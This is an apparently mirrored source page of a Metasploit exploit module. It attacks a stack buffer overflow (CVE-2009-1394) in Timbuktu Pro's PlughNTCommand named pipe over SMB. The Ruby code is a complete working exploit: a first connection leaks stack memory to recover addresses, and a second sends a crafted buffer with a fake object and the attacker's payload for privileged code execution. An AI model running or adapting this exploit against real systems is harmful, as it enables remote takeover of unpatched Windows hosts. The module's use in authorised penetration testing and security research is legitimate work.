CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::SMB::Client
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Timbuktu PlughNTCommand Named Pipe Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack based buffer overflow in Timbuktu Pro version <= 8.6.6
16
in a pretty novel way.
17
18
This exploit requires two connections. The first connection is used to leak stack data
19
using the buffer overflow to overwrite the nNumberOfBytesToWrite argument. By supplying
20
a large value for this argument it is possible to cause Timbuktu to reply to the initial
21
request with leaked stack data. Using this data allows for reliable exploitation of the
22
buffer overflow vulnerability.
23
24
Props to Infamous41d for helping in finding this exploitation path.
25
26
The second connection utilizes the data from the data leak to accurately exploit
27
the stack based buffer overflow vulnerability.
28
29
TODO:
30
hdm suggested using meterpreter's migration capability and restarting the process
31
for multishot exploitation.
32
},
33
'Author' => [ 'bannedit' ],
34
'License' => MSF_LICENSE,
35
'References' =>
36
[
37
[ 'CVE', '2009-1394' ],
38
[ 'OSVDB', '55436' ],
39
[ 'BID', '35496' ],
40
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=809' ],
41
],
42
'DefaultOptions' =>
43
{
44
'EXITFUNC' => 'process',
45
},
46
'Payload' =>
47
{
48
'Space' => 2048,
49
},
50
'Platform' => 'win',
51
'Targets' =>
52
[
53
# we use a memory leak technique to get the return address
54
# tested on Windows XP SP2/SP3 may require a bit more testing
55
[ 'Automatic Targeting',
56
{
57
# ntdll .data (a fairly reliable address)
58
# this address should be relatively stable across platforms/SPs
59
'Writable' => 0x7C97B0B0 + 0x10 - 0xc
60
}
61
],
62
],
63
'Privileged' => true,
64
'DisclosureDate' => '2009-06-25',
65
'DefaultTarget' => 0))
66
67
deregister_options('SMB::ProtocolVersion')
68
end
69
70
71
# we make two connections this code just wraps the process
72
def smb_connection
73
74
connect(versions: [1])
75
smb_login()
76
77
print_status("Connecting to \\\\#{datastore['RHOST']}\\PlughNTCommand named pipe")
78
79
pipe = simple.create_pipe('\\PlughNTCommand')
80
81
fid = pipe.file_id
82
trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')
83
84
return pipe
85
86
end
87
88
89
def mem_leak
90
91
pipe = smb_connection()
92
93
print_status("Constructing memory leak...")
94
95
writable_addr = target['Writable']
96
97
buf = make_nops(114)
98
buf[0] = "3 " # specifies the command
99
buf[94] = [writable_addr].pack('V') # this helps us by pass some checks in the code
100
buf[98] = [writable_addr].pack('V')
101
buf[110] = [0x1ff8].pack('V') # number of bytes to leak
102
103
pipe.write(buf)
104
leaked = pipe.read()
105
leaked << pipe.read()
106
107
if (leaked.length < 0x1ff8)
108
print_error("Error: we did not get back the expected amount of bytes. We got #{leaked.length} bytes")
109
pipe.close
110
disconnect
111
return
112
end
113
114
115
offset = 0x1d64
116
stackaddr = leaked[offset, 4].unpack('V')[0]
117
bufaddr = stackaddr - 0xcc8
118
119
print_status "Stack address found: stack #{sprintf("0x%x", stackaddr)} buffer #{sprintf("0x%x", bufaddr)}"
120
121
print_status("Closing connection...")
122
pipe.close
123
disconnect
124
125
return stackaddr, bufaddr
126
127
end
128
129
130
def exploit
131
132
stackaddr, bufaddr = mem_leak()
133
134
if (stackaddr.nil? || bufaddr.nil? ) # just to be on the safe side
135
print_error("Error: memory leak failed")
136
return
137
end
138
139
pipe = smb_connection()
140
141
buf = make_nops(1280)
142
buf[0] = "3 "
143
buf[94] = [bufaddr+272].pack('V') # create a fake object
144
buf[99] = "\x00"
145
buf[256] = [bufaddr+256].pack('V')
146
buf[260] = [bufaddr+288].pack('V')
147
buf[272] = "\x00"
148
buf[512] = payload.encoded
149
150
pipe.write(buf)
151
152
end
153
end
154
155